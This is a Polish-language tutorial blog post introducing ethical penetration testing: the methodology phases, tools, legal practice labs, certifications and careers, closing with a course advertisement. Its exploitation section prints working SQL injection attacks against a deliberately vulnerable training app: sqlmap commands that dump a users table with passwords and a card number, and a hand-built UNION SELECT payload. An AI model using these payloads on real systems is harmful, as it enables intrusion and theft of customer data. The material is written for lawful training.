Testy penetracyjne - jak zacząć z pentestami etycznie i skutecznie w 2026 + realne włamanie

Wokół pentestów narosła mitologia rodem z filmów: ktoś w bluzie z kapturem stuka w klawiaturę i po dwóch minutach włamuje się do banku. Rzeczywistość jest spokojniejsza, bardziej metodyczna i znacznie ciekawsza. Test penetracyjny to rzemiosło: uporządkowany proces, w którym za zgodą właściciela systemu wcielasz się w napastnika, żeby znaleźć luki, zanim zrobi to ktoś o złych intencjach. Ten przewodnik pokazuje, jak wejść w tę specjalizację uczciwie - co opanować, w jakiej kolejności, gdzie ćwiczyć legalnie i dlaczego nie da się tego ogarnąć w weekend.

Czym naprawdę jest test penetracyjny

Test penetracyjny (pentest) to autoryzowany, symulowany atak na system informatyczny, którego celem jest wykrycie słabości bezpieczeństwa, zanim wykorzysta je prawdziwy napastnik. Pentester myśli jak atakujący - łączy drobne usterki w łańcuch, eskaluje uprawnienia, szuka nieoczywistych ścieżek - ale działa w ramach umowy, w określonym zakresie i kończy pracę raportem, a nie kradzieżą danych.

Warto od razu odróżnić pentest od automatycznego skanowania podatności (vulnerability scan). Skaner mechanicznie sprawdza listę znanych usterek i wypluwa surowy wynik. Pentest to praca człowieka: kreatywne łączenie kontekstu, weryfikacja, czy luka jest realnie wykorzystywalna, i ocena, jak głęboko da się wejść. Skaner powie, że port ma starą wersję serwera. Pentester powie, że przez ten serwer dotarł do panelu administratora, a stamtąd do bazy klientów - i dołączy dowód oraz instrukcję naprawy.

Rodzaje testów - co wie atakujący

Zakres wiedzy, jaki dostajesz na starcie, definiuje typ testu:

• Black box (czarna skrzynka) - wiesz tyle, co napastnik z zewnątrz: adres IP albo adres URL. Najbardziej realistyczny scenariusz, ale i najbardziej czasochłonny.
• White box (biała skrzynka) - masz pełen dostęp do dokumentacji, kodu źródłowego i schematów sieci. Pozwala znaleźć więcej luk w krótszym czasie.
• Grey box (szara skrzynka) - kompromis: dostajesz ograniczony dostęp, np. konto zwykłego użytkownika. Symulujesz atak zalogowanego klienta lub pracownika.

Fundamenty - czego musisz nauczyć się najpierw

Najczęstszy błąd początkujących to skok od razu do włamywania się. Pentest bez fundamentów jest jak rozbiórka silnika przez kogoś, kto nie wie, jak działa spalanie - widzisz części, ale nie rozumiesz, co robisz. Trzy filary, bez których ani rusz:

• Sieci. TCP/IP, model warstwowy, DNS, HTTP/HTTPS, porty i usługi, translacja adresów (NAT), zapory sieciowe (firewall). Większość ataków przechodzi przez sieć, więc musisz rozumieć, co dzieje się na drucie.
• Linux i administracja systemem. Powłoka (shell), system plików, uprawnienia, procesy, usługi. Narzędzia pentestera żyją w Linuksie, a wiele celów to serwery linuksowe.
• Aplikacje webowe. Jak działa żądanie i odpowiedź HTTP, ciasteczka (cookies), sesje, formularze, zapytania do bazy danych. Lwia część współczesnych podatności jest po stronie aplikacji web.

Do tego warto dołożyć podstawy skryptowania (bash, a potem Python) - nie po to, by pisać exploity od zera, ale by automatyzować rutynę i rozumieć cudzy kod. To nie jest etap do przeskoczenia. To etap, dzięki któremu wszystko inne zaczyna mieć sens.

Metodyka pentestu - pięć faz

Profesjonalny pentest nie jest chaotycznym klikaniem. To uporządkowany proces, który mniej więcej pokrywa się z uznanymi standardami (PTES, OWASP, metodyka OSSTMM). Pięć faz prowadzi od poznania celu do dokumentu, który realnie poprawia bezpieczeństwo.

Faza 1

Rozpoznanie

recon - zbieranie informacji o celu

Faza 2

Skanowanie

mapowanie portów i usług

Faza 3

Eksploatacja

wykorzystanie luki, zdobycie dostępu

Faza 4

Post-eksploatacja

eskalacja uprawnień, ocena zasięgu

Faza 5

Raport

dowody i rekomendacje naprawcze

Faza 1: Rozpoznanie (recon)

Zanim cokolwiek dotkniesz, poznajesz cel. Rozpoznanie pasywne czerpie z publicznie dostępnych źródeł (biały wywiad, OSINT): rejestry domen, certyfikaty, subdomeny, technologie, adresy e-mail. Rozpoznanie aktywne to już bezpośrednia interakcja z celem - tu zaczyna się obszar wymagający autoryzacji. Poniżej przykład bezpiecznego, pasywnego sprawdzenia publicznego celu testowego Acunetix, który istnieje właśnie po to, by się na nim uczyć:

# Cel: testphp.vulnweb.com - publiczny lab Acunetix przeznaczony do nauki
# Jakie rekordy DNS ma domena? (rozpoznanie pasywne, bez ataku)
kali@kali:~$ host testphp.vulnweb.com
testphp.vulnweb.com has address 44.228.249.3

# Jaki serwer i technologie odpowiadają? Czytamy same nagłówki HTTP
kali@kali:~$ curl -sI http://testphp.vulnweb.com
HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8

Z dwóch komend już wiemy sporo: cel działa na serwerze nginx, aplikacja jest napisana w bardzo starej wersji PHP. To kierunkuje dalsze kroki. Dobry recon potrafi przesądzić o powodzeniu całego testu - im więcej wiesz, tym celniej działasz później.

Faza 2: Skanowanie

Teraz mapujesz powierzchnię ataku: które porty są otwarte, jakie usługi za nimi stoją, w jakich wersjach. Standardem branży jest nmap. Poniżej skan publicznego celu testowego - zwróć uwagę, że pracujemy wyłącznie na adresie udostępnionym do nauki:

# Skan usług i wersji na publicznym labie. -sV = wykryj wersje, -T4 = tempo
kali@kali:~$ nmap -sV -T4 testphp.vulnweb.com
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for testphp.vulnweb.com (44.228.249.3)
Host is up (0.12s latency).
PORT     STATE  SERVICE  VERSION
80/tcp   open   http     nginx 1.19.0
443/tcp  closed https
Service detection performed. Nmap done: 1 IP address scanned in 14.2s

Wynik mówi nam, że jedyną istotną usługą jest serwer WWW na porcie 80. W realnym teście wewnętrznym zobaczyłbyś znacznie więcej: bazy danych, usługi zdalnego dostępu, panele administracyjne. Każda otwarta usługa to potencjalna ścieżka - i każdą trzeba zweryfikować.

Faza 3: Eksploatacja - realne włamanie krok po kroku

Tu rozpoznanie zamienia się w realny dostęp. Pokażemy pełne, udane włamanie do bazy danych przez podatność webową - na tej samej aplikacji co wcześniej, czyli vulnweb (Acuart). Z jedną różnicą: zamiast publicznego serwera użyjemy jego własnej kopii uruchomionej lokalnie. Dlaczego? Po pierwsze, publiczny testphp.vulnweb.com bywa niedostępny - to tylko serwis pokazowy i regularnie pada. Po drugie, dane wynosi się i zrzuca wyłącznie z systemu, który sami w pełni kontrolujemy. Komendy są identyczne jak przeciwko publicznemu celowi; zmienia się tylko adres. Wszystko poniżej pochodzi z prawdziwego wykonania, nie z symulacji.

Najpierw poligon: postaw vulnweb lokalnie w Dockerze

Jeśli testphp.vulnweb.com nie odpowiada (a zdarza się to często), postaw tę samą aplikację u siebie w kilka chwil. Potrzebujesz tylko Dockera.

Nie masz go jeszcze? Na Kali, Ubuntu czy Debianie zainstalujesz Dockera oficjalnym skryptem instalacyjnym:

# Instalacja Dockera (Kali / Ubuntu / Debian) - oficjalny skrypt get.docker.com
kali@kali:~$ curl -fsSL https://get.docker.com | sudo sh

# (opcjonalnie) uruchamianie dockera bez sudo - wyloguj sie i zaloguj po tej komendzie
kali@kali:~$ sudo usermod -aG docker $USER

# Sprawdz, ze Docker i Compose dzialaja (powinno wypisac wersje)
kali@kali:~$ docker --version && docker compose version

Na Windowsie i macOS najwygodniej zainstalowac Docker Desktop - dostajesz to samo polecenie docker compose. Gdy Docker juz dziala, pobierz gotowy lab i uruchom go:

# 1. Pobierz i rozpakuj gotowy lab (ta sama aplikacja Acuart co testphp.vulnweb.com)
kali@kali:~$ wget https://jsystems.pl/new_page_resources/images/HACKING_KURS/vulnweb-lab.zip
kali@kali:~$ unzip vulnweb-lab.zip && cd vulnweb-lab

# 2. Zbuduj i uruchom (aplikacja PHP + baza MariaDB z bazą acuart)
kali@kali:~$ docker compose up -d --build

# 3. Sprawdź, że działa - strona powinna odpowiedzieć na porcie 8080
kali@kali:~$ curl -s http://localhost:8080/ | grep -i acunetix
<title>Home of Acunetix Art</title>

Aplikacja nasłuchuje pod adresem http://localhost:8080. Jeśli atakujesz ją z innej maszyny w sieci, zamiast localhost użyj adresu IP kontenera albo hosta, na którym stoi Docker. To kompletny, działający vulnweb - od tego momentu wszystkie poniższe komendy kierujemy właśnie tu. A gdy publiczny serwis akurat wstanie i wolisz uderzyć w niego, po prostu zamień w komendach localhost:8080 na testphp.vulnweb.com - cała reszta zostaje bez zmian.

Jak w ogóle znaleźć podatny parametr

Zanim odpalimy jakiekolwiek narzędzie, musimy wiedzieć, co właściwie atakować - skanowanie zaczyna się od zwykłego klikania po stronie i patrzenia na adres w pasku przeglądarki. Wejście w kategorię z plakatami prowadzi pod adres listproducts.php?cat=1. Ten fragment ?cat=1 to parametr przekazywany w adresie URL - aplikacja bierze jego wartość (1) i na jej podstawie wybiera z bazy produkty z danej kategorii. Zmień ?cat=2, a zobaczysz inną kategorię. Skoro wartość prosto z paska adresu trafia do zapytania SQL, to właśnie ona jest naszym pierwszym punktem zaczepienia.

Jak sprawdzić, czy ten parametr da się wykorzystać? Najprostszy test to dopisać do jego wartości pojedynczy apostrof (') i zobaczyć, czy aplikacja się zakrztusi. Wpisujemy w pasek listproducts.php?cat=1' - przeglądarka pokaże apostrof jako %27, czyli ten sam znak zapisany w kodowaniu adresu URL:

Ten błąd to jednoznaczny sygnał: nasz apostrof zamknął ciąg znaków wewnątrz zapytania i reszta przestała być poprawnym SQL-em. Skoro jeden znak potrafi rozbić zapytanie, to znaczy, że równie dobrze możemy dopisać do niego własny fragment - czyli parametr cat jest podatny na wstrzyknięcie SQL. I właśnie na niego skierujemy sqlmap.

Ręczny apostrof potwierdził podatność, ale wyciąganie danych znak po znaku byłoby mordęgą. Od tego jest sqlmap - narzędzie, które samo potwierdza podatność, dobiera technikę wstrzyknięcia i pozwala wygodnie wyciągać dane: od listy baz, przez tabele, po konkretne rekordy. Wskazujemy mu dokładnie ten podatny adres - listproducts.php?cat=1 na naszym lokalnym vulnweb pod localhost:8080 (albo wprost na testphp.vulnweb.com, jeśli publiczny serwis akurat działa) - i zaczynamy od pytania, jakie bazy danych widzi aplikacja:

# Krok 1 - czy parametr cat jest podatny i jakie bazy widzi aplikacja?
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch --dbs
[INFO] GET parameter 'cat' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
sqlmap identified the following injection point(s):
Parameter: cat (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

Rozłóżmy tę komendę na czynniki pierwsze:

• -u "..." - adres celu wraz z podatnym parametrem (nasz cat); to jedyne, czego sqlmap potrzebuje, żeby zacząć.
• --batch - tryb nieinteraktywny: sqlmap nie przerywa pytaniami, tylko sam przyjmuje rozsądne odpowiedzi domyślne.
• --dbs - wylistuj wszystkie bazy danych, do których aplikacja ma dostęp.

sqlmap potwierdził, że parametr cat jest podatny na kilka technik wstrzyknięcia naraz, rozpoznał silnik bazy (MySQL/MariaDB) i wypisał dostępne bazy: acuart (dane aplikacji) oraz systemową information_schema. Zaglądamy do acuart i pytamy o tabele:

# Krok 2 - jakie tabele są w bazie acuart?
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch -D acuart --tables
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

Doszły dwa parametry: -D acuart wskazuje konkretną bazę (tę, którą przed chwilą znaleźliśmy), a --tables każe wypisać jej tabele.

Osiem tabel, a w nich oczywista zdobycz: users. Wyciągamy jej całą zawartość:

# Krok 3 - wyciągnij konta z tabeli users
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch -D acuart -T users --dump
Database: acuart
Table: users
[1 entry]
+---------------------+------+------+------------------+---------+-------+-----------+-----------+
| cc                  | cart | pass | email            | phone   | uname | name      | address   |
+---------------------+------+------+------------------+---------+-------+-----------+-----------+
| 1234-5678-2300-9000 | NULL | test | test@test.acuart | 2323345 | test  | Test User | 21 street |
+---------------------+------+------+------------------+---------+-------+-----------+-----------+

Tym razem dokładamy -T users (wybieramy tabelę users) oraz --dump (pobierz i pokaż całą jej zawartość, rekord po rekordzie).

Trzy komendy i mamy pełny rekord konta: login test, hasło test, e-mail, a do tego zapisany numer karty płatniczej. Na prawdziwym sklepie ta sama jedna podatność oznaczałaby zrzut całej tabeli klientów wraz z danymi kart - i to jest dokładnie ten moment, w którym luka przestaje być teorią.

A jeśli zamiast oglądać dane na ekranie chcemy je zapisać do pliku? sqlmap i tak domyślnie zrzuca wynik do CSV, ale flagą --output-dir wskażemy własny katalog - wygodne, gdy zbieramy materiał do raportu:

# Ten sam zrzut, ale wynik ląduje we wskazanym katalogu
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch        -D acuart -T users --dump --output-dir=./wyniki
[INFO] table 'acuart.users' dumped to CSV file './wyniki/localhost/dump/acuart/users.csv'

# Gotowy plik można od razu otworzyć albo przetworzyć dalej
kali@kali:~$ cat ./wyniki/localhost/dump/acuart/users.csv
cc,cart,pass,email,phone,uname,name,address
1234-5678-2300-9000,NULL,test,test@test.acuart,2323345,test,Test User,21 street

Domyślnym formatem jest CSV, ale przez --dump-format można wybrać też HTML albo SQLITE. Tak zapisany plik trafia wprost do dowodów w raporcie z testu - bez ręcznego przepisywania czegokolwiek.

To samo ręcznie - atak UNION przez URL

sqlmap robi to automatycznie, ale dobry pentester rozumie, co dzieje się pod spodem - i potrafi powtórzyć atak ręcznie. Do przechwytywania i modyfikowania żądań służy zwykle Burp Suite: narzędzie pośredniczące (proxy), które staje między przeglądarką a serwerem i pozwala dowolnie zmieniać wysyłane dane. W naszym przypadku podatny parametr siedzi wprost w adresie URL, więc atak złożymy nawet bez proxy - po prostu wpisując spreparowany adres w przeglądarce.

Tym razem weźmy na warsztat inny adres. Klikając w menu w artists, trafiamy pod artists.php?artist=1 - to kolejny parametr w URL, znaleziony dokładnie tak samo jak wcześniej cat: po prostu widać go w pasku adresu. Ten sam test apostrofem (artist=1') też kończy się błędem SQL, więc i ten parametr jest podatny - tylko że to wstrzyknięcie złożymy ręcznie, żeby zobaczyć mechanizm od środka.

Wykorzystamy technikę UNION. Polega ona na dokleceniu do oryginalnego zapytania własnego SELECT przez słowo kluczowe UNION - dzięki temu w miejscu zwykłych wyników aplikacji (tu: opisu artysty) pojawiają się dane wybrane przez atakującego. W parametr artist strony artists.php wstrzykujemy:

http://localhost:8080/artists.php?artist=-1 UNION SELECT 1,group_concat(uname,0x3a,pass,0x3a,cc,0x3a,email),3 FROM users

Rozłóżmy ten ładunek na części:

• artist=-1 - nieistniejący identyfikator artysty, więc oryginalne zapytanie nie zwraca żadnego wiersza i całe miejsce na wynik zostaje wolne dla naszego UNION SELECT.
• SELECT 1,...,3 - podajemy trzy wartości, bo oryginalne zapytanie też zwraca trzy kolumny (artysta ma identyfikator, nazwę i opis), a UNION wymaga zgodnej liczby kolumn. Liczby 1 i 3 to atrapy w kolumny, których strona i tak nie pokazuje; nasz ładunek wstawiamy w środkową kolumnę, bo to właśnie ją aplikacja wyświetla jako nazwę artysty.
• uname, pass, cc, email - to nazwy kolumn tabeli users, które poznaliśmy już wcześniej ze zrzutu sqlmapem (widać je w nagłówku zrzuconej tabeli). Tu po prostu wybieramy te najciekawsze.
• group_concat(...) - skleja wszystkie te pola jednego konta w jeden napis, a 0x3a (zapisany szesnastkowo dwukropek) rozdziela je tak, żeby dało się je odczytać.

Tak złożone zapytanie baza wykonuje posłusznie i zwraca wyciągnięte dane dokładnie tam, gdzie aplikacja spodziewała się nazwy artysty:

Zrozumienie tego mechanizmu jest ważniejsze niż samo kliknięcie narzędzia - pozwala te luki nie tylko znajdować, ale i naprawiać.

Na tym etapie etyczny pentester zatrzymuje się dokładnie tam, gdzie wystarczy, by udowodnić istnienie luki. Nie chodzi o wyrządzenie maksymalnej szkody - chodzi o dowód koncepcji (proof of concept), który pokaże klientowi, że problem jest realny. W rzeczywistym zleceniu masz w umowie zapisane, jak daleko wolno Ci się posunąć.

Faza 4: Post-eksploatacja

Zdobycie pierwszego dostępu to rzadko koniec. Pentester ocenia, jak głęboko sięga problem: czy z konta zwykłego użytkownika da się podnieść uprawnienia do administratora (eskalacja uprawnień), czy z jednej maszyny można przejść na kolejne (ruch boczny, lateral movement), jakie wrażliwe dane stają się osiągalne. To tu mierzy się prawdziwy wpływ podatności na organizację. Cały czas obowiązuje zasada minimalnej ingerencji - dokumentujesz zasięg, ale nie niszczysz i nie wynosisz danych poza ustalony zakres.

Faza 5: Raport

Najmniej efektowna, a najważniejsza faza. Raport to produkt, za który płaci klient. Dobry dokument zawiera streszczenie dla zarządu (bez żargonu), szczegóły techniczne każdej luki, dowody (proof of concept), ocenę ryzyka oraz konkretne, wykonalne rekomendacje naprawcze. Pentest bez porządnego raportu jest bezwartościowy - to raport zamienia znalezione usterki w realnie naprawione bezpieczeństwo.

Narzędzia pentestera - co i do czego

Bazą jest Kali Linux - dystrybucja z setkami preinstalowanych narzędzi, którą najwygodniej uruchomić jako maszynę wirtualną. Ale narzędzie to tylko narzędzie: znajomość samego nmapa nie czyni pentestera, podobnie jak posiadanie młotka nie czyni stolarza. Poniżej najważniejsze pozycje, z których faktycznie korzysta się w pracy.

Przykład użycia Wireshark w wersji konsolowej (tshark) do podejrzenia ruchu na własnym interfejsie - czysta diagnostyka we własnym labie, nie podsłuch cudzej sieci:

# Nasłuch HTTP na własnym interfejsie lab (eth0), tylko pierwsze 5 pakietów
kali@kali:~$ sudo tshark -i eth0 -c 5 -Y "http.request" -T fields \
       -e ip.dst -e http.host -e http.request.uri
10.0.2.20   dvwa.local   /login.php
10.0.2.20   dvwa.local   /vulnerabilities/sqli/?id=1
10.0.2.20   dvwa.local   /vulnerabilities/xss_r/
5 packets captured

Gdzie ćwiczyć legalnie

To pytanie wraca w każdej rozmowie z początkującym: mam już Kali, na czym teraz trenować? Odpowiedź jest jednoznaczna - na środowiskach, które ich właściciele celowo udostępnili do nauki. Nigdy na cudzych systemach dla testu.

• DVWA (Damn Vulnerable Web Application) - celowo dziurawa aplikacja webowa, którą uruchamiasz lokalnie. Idealna do nauki wstrzyknięć SQL, skryptów międzydomenowych (XSS) i innych podatności webowych z regulowanym poziomem trudności.
• Metasploitable i VulnHub - gotowe obrazy podatnych maszyn wirtualnych. Stawiasz je u siebie i atakujesz do woli we własnej sieci.
• TryHackMe - platforma z prowadzonymi ścieżkami od podstaw (Pre-Security, Junior Penetration Tester). Najlepszy start dla zupełnie początkujących.
• HackTheBox - setki maszyn o rosnącej trudności, bliżej realnych scenariuszy. Świetne na etap średniozaawansowany i wyżej.
• Publiczne cele Acunetix - testphp.vulnweb.com, testasp.vulnweb.com, testaspx.vulnweb.com - serwisy postawione właśnie po to, by się na nich uczyć skanowania i testów webowych.

Certyfikaty - które naprawdę warto

Certyfikaty nie zastąpią godzin na labach, ale dobrze dobrane przechodzą przez filtry rekrutacyjne i porządkują wiedzę:

• eJPT (eLearnSecurity Junior Penetration Tester) - przystępny, w pełni praktyczny. Najlepszy pierwszy certyfikat dla osoby wchodzącej w temat.
• OSCP (Offensive Security Certified Professional) - złoty standard branży. Egzamin to wielogodzinny praktyczny pentest na żywych maszynach. Trudny i wymagający, ale otwiera drzwi do najlepszych ofert.
• PNPT (Practical Network Penetration Tester) - praktyczny, ceniony, z naciskiem na realny przebieg testu wraz z raportem.
• CEH (Certified Ethical Hacker) - rozpoznawalny globalnie, bardziej teoretyczny; bywa wymagany w ofertach korporacyjnych i przetargach.

Ścieżka kariery i zarobki

Specjaliści od bezpieczeństwa ofensywnego należą do najbardziej poszukiwanych profili w IT, a podaż dobrych pentesterów jest mniejsza niż popyt. Poniższe widełki to orientacyjny obraz rynku polskiego dla kontraktów B2B netto - traktuj je jako rząd wielkości, nie sztywną tabelę, bo realna stawka zależy od specjalizacji (web, sieci, chmura, urządzenia), certyfikatów i portfolio.

Droga do pierwszej pracy układa się sensownie w kilku krokach: opanuj fundamenty (sieci, Linux, web), zainstaluj Kali jako maszynę wirtualną, przerób ścieżki na TryHackMe, przejdź serię maszyn na HackTheBox, zdobądź eJPT, a docelowo celuj w OSCP. Równolegle buduj publiczne portfolio - opisy przejścia maszyn (write-upy), własne skrypty, notatki z labów. Na rozmowie rekruter pyta nie o to, jakie masz certyfikaty, lecz o to, co potrafisz pokazać.

Red team kontra blue team - dwie strony tej samej monety

W bezpieczeństwie funkcjonują dwa obozy, które razem tworzą realną odporność organizacji:

• Red team (ofensywa) - symuluje napastnika. Pentesterzy, specjaliści od symulacji ataków, badacze podatności. Ich zadaniem jest znaleźć dziury, zanim zrobi to ktoś niepowołany.
• Blue team (obrona) - utrzymuje obronę i wykrywa ataki. Analitycy centrum operacji bezpieczeństwa (SOC), specjaliści od reagowania na incydenty, inżynierowie detekcji. Ich zadaniem jest zauważyć i powstrzymać.

Coraz częściej mówi się też o purple team - modelu współpracy, w którym ofensywa i obrona wymieniają się wiedzą na bieżąco, zamiast pracować w izolacji. Dla początkującego to ważny sygnał: nawet jeśli ciągnie Cię strona ofensywna, rozumienie, jak działa obrona (logi, detekcja, reagowanie), czyni Cię znacznie lepszym pentesterem. Najlepsi atakujący myślą jak obrońcy - i odwrotnie.

Uczciwie na koniec - to wymaga pracy

Jeśli szukasz drogi na skróty, pentesty Cię rozczarują. To dyscyplina, która nagradza cierpliwość i głębię: zanim sprawnie wykorzystasz podatność, musisz rozumieć protokół, system i aplikację, w której ona żyje. Dobra wiadomość jest taka, że ta droga jest przewidywalna i w pełni do przejścia - krok po kroku, na legalnych labach, z rosnącą trudnością. Każda godzina spędzona na własnym poligonie procentuje. A satysfakcja z momentu, w którym po raz pierwszy samodzielnie przejdziesz całą maszynę od rozpoznania do dowodu koncepcji, jest jednym z lepszych uczuć w całym IT.

Jeśli wolisz przejść tę drogę szybciej i pod okiem kogoś, kto robi to zawodowo, możesz to zrobić z nami. Szkolenie Testy penetracyjne w praktyce to nie wykład ze slajdów - opiera się na ćwiczeniach na celowo podatnych labach (dokładnie takich jak ten, który przed chwilą rozbiliśmy), a prowadzi je Adrian Chaber - Head of Cybersecurity w SALESmanago, który testami bezpieczeństwa zajmuje się zawodowo. Wychodzisz z gotowym warsztatem: metodyką, narzędziami i nawykami, które od razu wykorzystasz w pracy. Szkolenie ma też terminy gwarantowane.

Szkolenie Testy penetracyjne w praktyce -->

✕